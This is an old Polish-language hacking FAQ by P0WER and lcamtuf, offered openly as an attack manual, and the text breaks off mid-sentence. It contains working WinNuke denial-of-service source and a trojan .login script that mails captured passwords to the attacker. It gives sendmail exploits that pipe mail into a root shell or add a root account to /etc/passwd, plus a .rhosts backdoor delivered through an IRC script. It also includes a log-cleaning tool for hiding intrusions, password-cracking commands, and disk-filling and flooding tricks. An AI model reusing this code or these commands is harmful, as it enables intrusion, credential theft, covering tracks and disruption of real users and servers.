HTMLized by Mariya HACK FAQ * P0WER & Lcamtuf * ver 0.5+ beta -------------------------------------------------------------------------------- Dobra zaczne od tego, ze nie ponosze zadnej odpowiedzialnosci jezeli ktos zrobi sobie krzywde lub straci dostep do internetu. Sa to wiadomosci napisane w celach edukacyjnych ;) Ach, i jeszcze cos, czesc materialow sam wymyslilem, a czesc to tylko zwalone i przetlumaczone kawalki z innych hack faq! Specjalne podziekowania dla ULTOR'a , tylko dzieki ktoremu wlasciwie pokazalo sie 0.5 (ja jestem zbyt zajety). A ja, czyli lcamtuf, zrewidowalem czesc tego faq i dodalem pare moich programow. Jednoczesnie pragne zapowiedziec WIEEELKIE zmiany (przesadzam) w tym faq, ktory w kazdym razie bedzie chyba zmierzal w strone pewnego ujednolicenia, poza tym chyba bedzie mial wreszcie tylko swoja, ekskluzywna strone www, na ktorej beda wszystkie opisane tu programy. Enjoy! -------------------------------------------------------------------------------- I. Hackowanie IRC 1 Triki IRC...................................: P0WER 2 Skrypty ....................................: P0WER 3 Przejmowanie kanalu.........................: P0WER 4 Boty........................................: P0WER 5 Winnuke , port 139 .........................: P0WER 6 Wlam na konto dzieki IRC....................: P0WER 7 Jak namierzac i nukowac gosci na irc........: lcamtuf II. Poczta. 1 Wysylanie fakemaila.........................: P0WER 2 Hackowanie sendmaila starszego niz 5.55.....: P0WER 3 Root z sendmaila 8.8.4......................: MaLc00Lm + P0WER 4 SENDMAIL 5.64...............................: lcamtuf 5 SENDMAIL 5.65...............................: lcamtuf 6 SENDMAIL 8.6.7..............................: lcamtuf 7 SENDMAIL 5.x................................: lcamtuf 8 SENDMAIL 4.1................................: lcamtuf 9 SENDMAIL 8.6.9..............................: lcamtuf 10 SENDMAIL 8.6.?.............................: lcamtuf 11 Sendmail Scanner...........................: lcamtuf III. Jak hackowac, by nie narobic sobie klopotow. 1 Podstawy....................................: P0WER 2 Jak sie wlamac bezpiecznie..................: lcamtuf 3 KillLOG.....................................: lcamtuf IV. Unix - to slowo mowi wszystko. 1 Jak zdobyc hasla............................: P0WER + lcamtuf 2 Jak dekryptowac hasla Unixa.................: P0WER 3 Komendy Unixa...............................: P0WER 4 Finger......................................: P0WER 5 Jak komus zamknac konto(czasowo)............: P0WER 6 Anonymous FTP...............................: P0WER 7 Wlamac sie do servera jako guest............: lcamtuf 8 Ping flood..................................: P0WER 9 Jak kogos nastraszyc........................: P0WER 10 Do czego sluza pliki .xxxxx ...............: P0WER 11 Sciaganie passwd...........................: P0WER 12 Jak zalozyc nowe konto.....................: P0WER 13 ident-scan.c - skanuje dziury servera......: P0WER 14 kill all processes.........................: P0WER V. Dziury w WWW. 1 phf.........................................: P0WER 2 php.........................................: P0WER 3 phpscan.c - skaner php......................: P0WER 4 phpget.c - a jak myslisz???.................: P0WER 5 Vito.c - tester dziur servera http..........: P0WER VI. Klopoty....................................: P0WER VII. Unix bugs.................................: lcamtuf VIII. Skrypty java 1 Killer java.................................: lcamtuf IX. Bugi serwerow HTTP.........................: lcamtuf X. Cos dla lamerow.............................: P0WER XI. Rejestry SHIT'a 95.........................: Ultor XII. Social engeneering........................: P0WER 1 Podejrzenia. -------------------------------------------------------------------------------- I Hackowanie IRC (no moze troche przesadzilem) 1 Triki IRC : P0WER - Fakeowanie mass deopa. o Zmien nicka na mode o /me change "-oooo " on channel by o mozesz dolozyc tez skrypt, ktory automatycznie bedzie dodawal nick opow. - Glupi zart o Zapros kogos na kanal #5,0 , jesli tam wejdzie, zostanie wyrzucony ze wszystkich kanalow irc. - Zdejmowanie +r o Napisz /mode -r+iw - to juz nie dziala na wielu serwerach, ale sa dwie dobre metody obejscia tego - po pierwsze polaczenie sie z innym serwerem irc, na ktorym nie masz +r (ich liste otrzymasz wpisujac /links). Druga metoda to zdobycie konta u innego providera internetu (mozna dostac od kumpla) lub skorzystanie z tzw. anonIRC, czyli swego rodzaju "bramki" pozwalajacej niemal anonimowo korzystac z irc. Serwery anonIRC pojawiaja sie i znikaja co chwile, trzeba wiec popytac. 2 Skrypty : P0WER Dzis coraz wiecej osob uzywa roznych skryptow podczas pracy na IRC, sa to skrypty pozdrawiajace i takie inne bzdety, ale na oczywiscie interesuja skrypty wojenne tzw warscripts i ochronne portection scripts. - Skrypty wojenne: Sa to skrypty sluzace do utrudniania zycia innym uzytkownikom irc , lub po prostu do ich wyrzucania z IRC. Dzia3aja one glownie za zasadzie floodowania, co pozwala czasem wyrzucic uzytkownika z IRC, lub wkurwi go tak, ze sam sobie pojdzie. Istnieja dwa glowne programy do IRC pod shita95. Pirch i Mirc. Obydwa posiadaja setki skryptow wojennych, ktore mozna znalezc na wielu stronach www (nie pytajcie mnie gdzie). Nie polece wam tez zadnego skryptu wojennego, bo do Mirc testowalem kilka i wszystkie byly slabe, a do Pircha sam napisalem sobie skrypt. Nie bede tutaj tlumaczyl metod dzialania takich skryptow, ale wymienie kilka podstawowych. ctcp flood - floodowanie poprzez ping, version i inne funkcje ctcp, ktore powoduje wyrzucenie uzytkownika z IRC. Zeby efekt byl szybszy i skuteczniejszy najlepiej jest floodzic kogos z kilku clonow (sa one dostepne w lepszych wersjach skryptow) Dcc chat i send - Posylanie komus wielu lewych plikow i chatow, co w lamerskich programach do irc powoduje otwieranie sie wielu okienek. Msg flood - Powoduje to otwieranie sie wielu okienek z glupimi tekstami, co jest strasznie wkuzajace. - Skrypty do protekcji Ale wszystko ma swoje czarne strony, bo istnieja skrypty do protekcji sa to skrypty ktore powoduja ignorowanie adresu ip z ktorego floodujemy klienta, wtedy trzeba uzywac sprytu, lub poszukac slabych stron przeciwnika. (co sie bede o gownach rozpisywal) 3 Przejmowanie kanalu : P0WER - Narzedzia - potrzebujesz Link lookera(polecam windows link lookera pod shita 95) i Multi colider bots(choc to drugie nie jest niezbedne). - Odpalamy Link lookera i szukamy serverow, ktore odlaczyly sie od naszej sieci. - Laczymy sie z odlaczonym serverem i wchodzimy na kanal, ktory nas interesuje, jezeli kanal byl pusty, a my nie mielismy +r to otrzymamy opa. - Teraz warto siedziec po drugiej stronie, gdzie wszyscy siedza na kanale i spisac kto ma opa. - Nie jest to niezbedne, ale jesli kanalem rzadza ludzie doswiadczeni, to lepiej odpalic multi colide bots, lub stworzyc dodatkowe sesje po odlaczonej stronie splita, z nikami ludzi, ktorzy maja opa na kanale, ktory jest celem. Jesli czesc ludzi siedzi po jednej, a czesc po drugiej - trzeba postawic mcb na obu serwerach. Jesli interesuje was program, ktory robi to automagicznie - pojawi sie na stronie p0werfaq gdy tylko stworzymy te strone ;-) - Czekamy na polaczenie(czasem sie nie doczekamy bo trwa to kilka dni, a czasem trwa kilka minut, wiec trzeba sie spieszyc). Wspomniany wyzej program bedzie mozna postawic na serwerze i isc spokojnie spac, gdy rano wejdziesz na kanal - bedzie on juz w TWOICH rekach :-) - Po polaczeniu czekamy az wszystkie nasz sesje zabija sie z sesjami osob po drugiej stronie, ktore mialy opa. - Pozniej po pelnej wymianie informacji przez servery mamy opa na obydwu serverach i wtedy odbieramy opa wszystkim pozostalym osoba, ktorym udalo sie przetrwac atak i kanal jest nasz. - nie musze chyba mowic co wtedy robimy z kanalem: Invited only, key, topic: Hacked by, moderate i inne takie wkurwiacze niszczace kanal!!!! - Moze zdarzyc sie tez, ze namieszamy tak, ze servery nie beda mogly sie dogadac i powstana lagi i desynchronizacje, wtedy servery beda polaczone, ale kanaly tak do konca nie no i trzeba bedzie probowac jeszcze raz. - Wiem ze moze niezbyt jasno opisalem ta metode, ale mowi sie trudno:) 4 Bot : P0WER Dobra to odddzielna sprawa i malo majaca wspolnego z haczeniem, wiec powiem tylko poniewaz wielu ludzi pyta mnie jak zalozyc bota , ze trzeba miec konto unixowe!!!(np na zhaczonym serverze), czesc botow wymaga takze, zeby server mial klienta irc, czyli, ze jak telnetujesz sie na niego i napiszesz irc, to wyladujesz w Irc. Proste no nie!!!!!! 5 Winnuke, port 139 : P0WER Microsoft pozostawial w win95 i NT mnostwo dziur, a jedna z ciekawszych to niezwykle zachowanie sie systemu po otrzymaniu pakietu OOB (Out Of Bound) na port 139. Tresc pakietu nie gra jakiejkolwiek roli, system... pada. Zaleznie od konfiguracji albo sie zawiesza, albo pada system obslugi tcp/ip, co w obu wypadkach zmusza uzytkownika do zresetowania komputera. Mozna w ten sposob pozbyc sie uciazliwego lamera na ircu. Do nukowania sluzy program WinNuke, ktory dostepny jest w wersjach dla win95 (dostepne niedlugo na stronie p0werfaq'a) i unixowej, ktorej kod zrodlowy macie ponizej: --- CUT HERE --- /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); } -----CUT HERE------ W przypadku wersji windowsowej trzeba podac IP goscia - oto jak to zrobic najprosciej (nie majac zadnych dodatkowych programow): - Wpisz na ircu /whois i nick goscia - Pojawi sie cos w stylu "Address: wiochmen@port23.pol.pl" - Wcisnij "start", wybierz "uruchom..." i wpisz "ping port23.pol.pl" - Pojawi sie okienko, a w nim powoli pojawi sie kilka linii: Pinging port23.pol.pl [194.204.153.23] with 32 bytes of data: ... - Wazny dla ciebie jest adres IP, czyli 194.204.153.23 - skopiuj go szybko do schowka i wklej do winnuka, wpisz jakis tekst ponizej i... W przypadku wersji unixowej postepuj tak: - Przegraj to na jakies konto unixowe za pomoca ftp. - Zmien nazwe na win.c - skompiluj przez telnet: gcc win.c - teraz wystarczy napisac: ./a.out cel, gdzie "cel" to adres domeny lub IP goscia np: ppp2-cst323.warszawa.tpnet.pl lub 194.160.132.70 A teraz powiem jak sie przed tym zabezpieczyc, przynajmniej na shicie 95, bo pod windows NT trzeba sciagnac Service Pack 3 (jakies 20 MB): - Uruchom program "regedit.exe" , znajduje sie on w katalogu twoich winow. - Wejdz do "galezi" Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP - Potem nacisnij "Edycja" , "Nowy" , "Wartosc ciagu" i wpisz "BSDUrgent" - Pozniej nacisnij "Edycja" , "Modyfikuj" i w pode "Dane wartosci" wpisz 0 (zero) - Zamknij system i uruchom windows ponownie WAZNE: Jesli ci nie wychodzi - zajrzyj do dalszego rozdzialu, gdzie opisalem jak namierzac gosci na irc. 6 Wlam na konto dzieki IRC : P0WER Jesli dodasz "+ +" do czyjego pliku .rhosts spowodujesz, ze kazdy system bedzie zaufany dla jego konta (dotyczy to tylko systemow z zaimplementowanym systemem rozproszonego zaufania, na nowych linuxach nie dziala). Pozwoli ci to na Remote login na jego konto bez podania hasla. Jednym ze sposobow dodania tej linijki moze byc dodanie jej do jakiegos popularnego skryptu IRC. Mozna tez napisac wlasny skrypt i go zainfekowac. Oto linijka jak trzeba dodac: "exec echo + + > $HOME/.rhosts"... Lecz jesli uzytkownik jest glupi a ty bedziesz mial troche szczescia mozesz dodac ta linijke bez skryptu IRC. Mozesz powiedziec klijentowi zeby sam wpisal sobie taka linijke, ale musialal by ona wygladac tak: "/exec echo + + > $HOME/.rhosts"... W momencie kiedy palant doda "+ +" do do .rhosts wystarzy tylko wpisac: "rlogin -l " np zey zalogowac sie na konto lamer@idioci.com.pl wystarczy wpisac: rlogin idioci.com.pl -l lamer - oczywiscie z konta unixowego. Oto przyklad jak zalatwia sie tym lamera: *Victim* Dude, do you have any IRC scripts?? /whois Victim *** Victim is victim@any.system.net (John Doe) *** on channels: #oralsex *** on irc via server irc-2.mit.edu () /exec echo "exec echo + + > $HOME/.rhosts" >> fenix.irc /dcc send Victim fenix.irc *** Sent DCC SEND request to Victim *** DCC SEND connection to Victim[123.456.0.0,1383] established *** DCC SEND:/home/myuser/fenix.irc to Victim completed 0.04004 kb/sec /msg victim just type: /load fenix.irc -> *victim* just type: /load fenix.irc *Victim* Ok, I did... thanks. /msg victim no problem. -> *victim* no problem. /quit I am lame *** Signoff: me (I am lame) % rlogin any.system.net -l victim Last login: Tue Feb 14 16:49:42 from secure.bellcore.com SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994 Default terminal emulation is vt100 For temporary storage please use /tmp You have mail. ANY% ls misc_porno littleboy_nudes ANY% exit Connection closed. % A tutaj maly dodatek. .login 'trojan' shell script, ktory zastepuje .login file skryptem, ktory podczas logowania bedzie pokazywal, ze uzytkowniko podal zle haslo. Haslo bedzie przesylane na twoj adres maila, wiec widniejacy tam adres zamien na twoj(ale jakis darmowy, zeby cie nie dupneli). Mozesz uzywac tego po wejsciu na czyjes konto dzieki .rlogins jesli koniecznie chcesz znac haslo klijenta. Skrypt: ----START SCRIPT---- #!/bin/sh rm -rf $0 cp $HOME/.login $HOME/.l echo ''>$HOME/.hushlogin echo "stty intr '^@' echo 'Login incorrect' echo -n 'login: ' echo $<>.t echo -n 'Password: ' stty -echo echo $<>>.t mail yourname@your.mail.account.com<.t rm .t cat /etc/motd mv .l .login rm .hushlogin stty echo source .login">$HOME/.login ----END SCRIPT---- 7 JAK NAMIERZAC I NUKOWAC GOSCI NA IRCU : lcamtuf ** NAMIERZANIE (nie dziala na laczacych sie przez niektore dialupy): Vrfy - patrzycie na irc-adres goscia (whois), powiedzmy ze jest to lamer@komuter1.uczelnia.com. Nastepnie odpalacie telnet i patrzycie, czy mozna sie polaczyc z portem 25 serwera komuter1.uczelnia.com. Jesli tak to wpiszcie "vrfy lamer" (w miejsce "lamer" to co gosciu ma przed znaczkiem @ w irc-adresie). Jesli sie pojawi np. "Maciej Lamerski " to macie juz imie, nazwisko i e-mail na ktory mozna wysylac mail-bomby... Moze tez sie pojawic np. "cannot verify user", ale w takiej sytuacji e-mail to irc-adres. Jesli nie dziala albo pojawia sie cos w stylu "user unknown" - bierzecie DNS-skaner (dla Win95/WinNT polecam DNS-Workshop z http://sunsite.icm.edu.pl/tucows) i wpisujecie adres "komputer1.uczelnia.com". Pojawi sie cos w stylu "IP address: 194.204.105.15". Wpisujecie wtedy zamiast "komputer1.uczelnia.com" ten adres, z tym, ze ostatnia liczbe zastepujecie znakiem '*'. Pojawi sie najpewniej bardzo duuuzo IP i nazw komputerow i innego syfa, np: 194.204.105.0: No data 194.204.105.1: No data ....... 194.204.105.14: router.uczelnia.com ....... 194.204.105.15: komputer1.uczelnia.com 194.204.105.16: komputer2.uczelnia.com ....... 194.204.105.50: sklep1.mleczarnia.org.pl ....... (i tak dalej...) Interesujacy jest adres wystepujacy na ogol przed stacjami roboczymi (komputerX), czyli router.uczelnia.com (zamiast router moze to byc: linux, unix, boss, main, zenon, angel, punisher :-). W kazdym razie ten oraz ew. kilka podobnych adresow sprawdzamy telnetem - jesli dziala im port 25 i "rozpoznaja" (vrfy!) uzytkownika "lamer" (czy innego szukanego...) - sukces, mamy goscia - jego e-mail to lamer@router.uczelnia.com. Tak przy okazji oczywiscie dla wszystkich znalezionych komputerow warto sprawdzic sendmaila, phf, ftp i wszystko inne, a na koniec nukowac wszystkie komputery robocze, bo najpewniej to sa windowsy :-) ** ROZWALANIE W RAZIE GDY WINNUKE NIE DZIALA 1. Na chama - nukujemy wszystkie komputery znalezione metoda poprzednia 2. Finger - jesli facet siedzi na unixie i ma irc-adres lamer@router.uczelnia.com to mozna wyslac do niego finger (na adres lamer@router.uczelnia.com). Unix zwroci dane delikwenta, komputer na ktorym ircuje (np. komputer1.uczelnia.com). I TU GO MACIE, trzeba nukowac nie serwer router.uczelnia.com, bo on pracuje na unixie, ale komputer klienta, ktory najpewniej siedzi na windowsach - komputer1.uczelnia.com II Poczta 1 Wysylanie fakemaili : P0WER - telnetuj sie na port 25 serwera, np: telnet mim.pcz.czest.pl 25 - Jezeli to mozliwe pomin "HELO" - pisz: mail from: (i tu czyis adres e-mailowy) - pisz: rcpt to: (osoba do ktorej piszesz list) - server pocztowy powinien pisac ok po kazdej funkcji. - jezeli cos nie bedzie gralo sprobuj jeszcze raz, ale zacznij od "HELO nikt" - pozniej wpisz: data i wcisnij ENTER - wpisz zawartosc listu - na koncu napisz: . - a pozniej: quit - jesli odbiorca to lamer, to nie dojdzie do ciebie po naglowku listu, a jezeli jest dobry, to sprobuj uzyc serverow, ktore nie dopisuja twojego IP do listu(pozniej moze poszukam takich serverow). 2 Hackowanie starszego sendmaila niz 5.55 (sprawdzone na SunOs 4.1) : P0WER - Telnetuj sie na port 25 atakowanego serwera: telnet mail.twoj.cel.pl 25 - Pojawi ci sie powitanie serwera pocztowego, powinno byc tam jakies 5.x lub 4.x, nowsze wersje lub systemy "nie wygladajace" na zwykle sendmaile mozesz sobie darowac. - Napisz: helo hacker mail from: "|/bin/mail twoj@email.pl > unf << _EOF_ helo mail from: very@bad.address.here rcpt to: another@bad.bad.address data owned::0:0:exploitation:/:/bin/sh . _EOF_ cat unf | telnet localhost 25 >> /dev/null rm -rf unf echo echo Please wait for dead.letter to possibly be appended to by sendmail. echo sleep 10 if grep exploitation /etc/passwd then echo Successful addition of account 'owned' to /etc/passwd, running 'su.' su owned else echo Unsuccessful exploitation of symbolic link bug. fi ---eof--- 4 SENDMAIL 5.64 : lcamtuf Blad w programie uudecode, ktory ma dostep do .rhosts na koncie ofiary - mozemy za jego pomoca zmienic zawartosc tego pliku! Na poczatek trzeba zakodowac programem uuencode - dla leni podaje wyglad zakodowanego juz pliku: -- cut here -- $*R`K"@`` ` end -- cut here -- Teraz telnetujemy sie na serwer: "telnet ofiara.com 25". Tak wyglada sesja: 220 enterprise Sendmail 5.64/zippy-1.22.01 ready at Mon, 25 Jun 97 09:34:12 -0400 (GMT) helo hacker 250 enterprise Hello hacker (ppp2-cst15.warszawa.tpnet.pl), pleased to meet you mail from: bin 250 bin... Sender ok rcpt to: decode 250 decode... Recipient ok data 354 Enter mail, end with "." on a line by itself begin 644 /XXXX/.rhosts $*R`K"@`` ` end . 250 Ok quit 221 enterprise closing connection Hehe... Program uudecode dostanie do rozkodowania plik .rhosts zawierajacy zakodowany tekst '+ +', rozpakuje go... I mozemy bez hasla zalogowac sie na dowolne konto!!! PS. W miejsce XXXX wpiszcie nazwe konta hackowanego uzytkowwnika (/home/lamer), albo na chama - konto roota (/root)... 5 SENDMAIL 5.65 : lcamtuf Wywolanie dowolnych polecen z uprawnieniem roota? Spoko, nie trzeba miec nawet konta: 220 www.urm.gov.pl 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500 helo hacker 250 Hello cst2-ppp32.warszawa.tpnet.pl, why do you call yourself ? mail from: |/usr/ucb/tail|/usr/bin/sh 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok rcpt to: root 250 root... Recipient ok data 354 Enter mail, end with @.@ on a line by itself #!/bin/sh # Tu dowoooolne polecenia, powiedzmy takie: echo hacker::0:0:nikt:/:/bin/bash >>/etc/passwd . 250 Ok quit 221 www.urm.gov.pl closing connection 6 SENDMAIL 8.6.7 : lcamtuf Trzeba miec konto, ale jesli sie na nim wpisze: /usr/lib/sendmail -oE/etc/shadow bounce From: (nazwa twojego konta) To dostaniesz w prezecie hasla, chocby byly shadowowane!!! Mozna tak przeczytac kazdy plik. 7 SENDMAIL 5.x : lcamtuf Utworz plik 'test' o takiej zawartosci (XXXX znaczy to samo co w #5): -- CUT HERE -- rcpt to: /XXXX/.rhosts mail from: hacker data Test sendmaila . rcpt to: /XXXX/.rhosts mail from: hacker data + + . quit -- CUT HERE -- A teraz wpisz "telnet ofiara.com 25 /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x #include #include main(argc, argv) int argc; char **argv; { execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ", argv[1] ? argv[1] : "atreus",0); } -- CUT HERE -- 10 SENDMAIL 8.6.? : lcamtuf Odczytanie pliku (potrzebne konto). /usr/lib/sendmail -C/etc/shadow 11 Sendmail Scanner : lcamtuf Oto moj skaner sendmaili, ktory pomoze wam przeszukac spore ilosci serwerow. Lista 700 polskich serwerow oraz program do zbierania adresow znajdziecie na stronie p0werfaq, tam tez wersja tego skanera dla win95 (ten jest dla linuxa): -- CUT HERE -- // Sendmail-SCANNER 1.0b // (c) lcamtuf '97 // E-mail: lcamtuf@polbox.com #include #include #include #include #include #include #include #define TIMEOUT 5 FILE *server; int sock,to; void timeout(int signo) { to=1; }; void sm(char *host) { char inbuf[1024]; struct sockaddr_in sin; struct hostent *hp; int x; hp=gethostbyname(host); if (h_errno!=0) { printf("Nie moge namierzyc %s, pomijam...\n",host); return; } bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length); sin.sin_family=hp->h_addrtype; sin.sin_port=htons(25); sock=socket(AF_INET,SOCK_STREAM,0); if (-1 #include #include #include #include #include #include #include #ifndef WTMP #define WTMP "/var/log/wtmp" #endif #ifndef UTMP #define UTMP "/var/run/utmp" #endif #ifndef LAST #define LAST "/var/log/lastlog" #endif int f,err=0; void kill_utmp(char *who) { struct utmp utmp_ent; printf("Cleaning utmp... "); if ((f=open(UTMP,O_RDWR))>=0) { while(read(f,&utmp_ent,sizeof(utmp_ent))>0) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(utmp_ent)); lseek(f,-sizeof(utmp_ent),SEEK_CUR); write(f,&utmp_ent,sizeof(utmp_ent)); } close(f); printf("done.\n"); } else { printf("unable to open logfile.\n"); err=3; } } void kill_wtmp(char *who) { struct utmp utmp_ent; long pos=1L; printf("Cleaning wtmp... "); if ((f=open(WTMP,O_RDWR))>=0) { while(pos!=-1L) { lseek(f,-(long)((sizeof(struct utmp))*pos),L_XTND); if (read(f,&utmp_ent,sizeof(struct utmp))<0) pos=-1L; else if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp)); lseek(f,-((sizeof(struct utmp))*pos),L_XTND); write(f,&utmp_ent,sizeof(utmp_ent)); pos=-1L; } else pos+=1L; } close(f); printf("done.\n"); } else { printf("unable to open logfile.\n"); err=4; } } void kill_lastlog(char *who) { struct passwd *pwd; struct lastlog newll; printf("Cleaning lastlog... "); if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LAST,O_RDWR))>=0) { lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0); bzero((char *)&newll,sizeof(newll)); write(f,(char *)&newll,sizeof(newll)); close(f); printf("done.\n"); } else { printf("unable to open logfile.\n"); err=2; } } else { printf("user not found.\n"); err=1; } } int main(int argc,char *argv[]) { printf("\nKill-LOG++ 0.99b -- Linux Log Cleaner (improved by lcamtuf)\n"); if (argc!=1) { printf("----------\nRemoving user's activity from logs.\n",argv[1]); kill_lastlog(argv[1]); if (!err) kill_wtmp(argv[1]); if (!err) kill_utmp(argv[1]); if (!err) printf("Cool! Everything is ok.\n"); else printf("Damn! Something fucked up.\n"); printf("----------\n\n"); } else printf("Usage: %s username\n\n",argv[0]); return err; } -- CUT HERE -- IV Unix 1 Jak zdobyc hasla : P0WER Jezeli twoj system ma Yellow Pages file managment napisz "ypcat /etc/passwd" lub "ypcat passwd", a powinienes dostac hasla (uwaga, w /etc/passwd nie znajdziesz prawie nic, gdyz NIS, zwany tez Yellow Pages, to system pozwalajacy na korzystanie z tych samych hasel na wielu serwerach w jednej sieci i inaczej wyglada tam przechowywanie hasel). Mozna tez probowac tym programikiem, ale ja osobiscie w niego nie wierze (po prostu jest cholernie stary i moze zadzialac tylko na archiwalnym systemie ;-): #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 2 Jak dekryptowac hasla unixa? : P0WER Sluza do tego programy jak John the ripper, Cracker Jack, czy Killer Crack. Ja uzywa, Johna 1.4 , ale wybor nalezy do was. Wszystkie te programy dzialaja pod Dosem. Sa tez programy pod unixa np Crack5.0, ale go nie testowalem. Opisze tu obsluge Johna. Na poczatku potrzebny jest slownik, ktore mozna znalezc na wielu stronach. nazwijmy go slownik.txt a plik z haslami ktory posiadamy passwd.txt pierwsza metoda dziala bez slownika, jest najprostsza. john -single -pwfile:passwd.txt druga metoda dziala ze slownikiem. john -pwfile:passwd.txt -wordfile:slownik.txt trzecia metoda posluguje sie slownikiem i kombinacjami, jezesli -single trwa kilka sekund, to -rulez kilka godzin, lecz to zalezy od slownika i ilosci kont(powiedzmy 5 godz , przy 100 kontach i P150) john -rules -pwfile:passwd.txt -wordfile:slownik.txt 3 Podstawowe komendy unixa : P0WER cat - przeglada plik jak view. np: cat /etc/passwd ;) chmod [mode] [plik] - zmiana dostepow do pliku. chown [nick] [plik] - zmiana wlasciciela pliku. cd [dir] - zmiana katalogu, cd .. cofanie sie o ktalog cp [plik] [plik] - kopiowanie z nowa nazwa. diff [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami. -b -ignoruj puste miejsca find [skad_zaczac] -name [nazwa] - poszukiwanie plikow np: find / -name password finger [username] - informacje o uzytkowniku. Mozna tez z zewnatrz finger user@server.pl gcc plik - kompilacja grep [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem. help - pomoc irc - uruchomienie klijenta irc. kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z numeru PID.(patrz ps) $ kill -9 123 [123]: killed mozna tez zabic siebie "kill -1 0" ls - listowanie plikow ls -l daje wiecej info o plikach i katalogach. man [komenda] - pomoc w konkretnej komendzie. mail - czytanie poczty mkdir [katalog] - tworzenie nowego katalogu. mv [plik] [plik] - zmiana nazwy pliku, lub przeniesienie do innego katalogu. passwd - zmiana hasla. ps - pokazuje co robisz w pamieci i jaki to ma numer (PID) PID TTY NAME 122 001 ksh 123 001 watch pwd - pokazuje w jakim jestesmu katalogu. rm [plik] - kasuje plik rmdir [katalog] - kasuje katalog gdy jest pusty. rwho - to samo co who. screen - dopalanie procesu w tle, np: by zostawic ircbota. tar -xvf 8.tar - roztarowywanie pliku. who - wypisuje info o zalogowanych uzytkownikach. write [login] - pisanie do innego zalogowanego uzytkownika. 4 Finger : P0WER Czesc serverow zezwala na przesylanie fingera do innego hosta(redirections). $ finger @host.jeden.pl@host.dwa.pl finger pojdzie przes system jeden do drugiego, az tamten dowie sie ze to pierwszy host poslal finger. Moze to byc uzywane do ukrycia fingera, lub jako bardzo dokuczliwy trik. Piszac: $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.ktory.atakujesz.pl Wtedy wszystkie @ beda powodowaly powtorzenia fingera po raz kolejny, moze to doprowadzic do zwolnienia dzialania servera, zajecia mu czesci pamieci i twardego dysku. (robiac tak w kilku mozna niezle zamieszac w serverze) 5 JAk komus zamknac konto(czasowo) : P0WER Niektore servery zamykaja dostep do konta po kilku nieudanych probach podania hasla, lub po odczekaniu zbyt wielu sekund przy logowaniu. Mozesz w ten sposob pozbawic jakiegos uzytkownika konta na jakis czas, ale wystarczy ze poprosi on roota, a konto zostanie odblokowane. Takie mozliwosci sa najczescie na serverach uczelnianych, np po trzech zlych loginach nalezy podac specjalne haslo, bo jak nie to konto jest zamrazane. 6 Anonymous FTP : P0WER Gdy server posiada Anonymous FTP z zapisywalnymi obszarami mozna bardzo latwo namieszac. Na przyklad zapychajac twardziela. Na przyklad takim programem: while : ; mkdir .xxx cd .xxx done {choc nie wiem czy cokolwiek odpalicie przez ftp, ale jest przeciez jeszcze guest) Poza tym to swietny sposob na zapchanie twardziela jesli juz wejdziesz do srodka. 7 Wlamac sie do servera jako guest : lcamtuf - Zaloguj sie jako guest lub wykorzystujac inne "goscinne" konto przez telnet (admin musi byc malo rozgarniety, zeby zostawic ta dziurke, typowe konta tego typu sa zebrane w 2600faq, http://www.2600.com). - Korzystajac z zapisywalnych obszarow, czyli np katalogu typu trash, 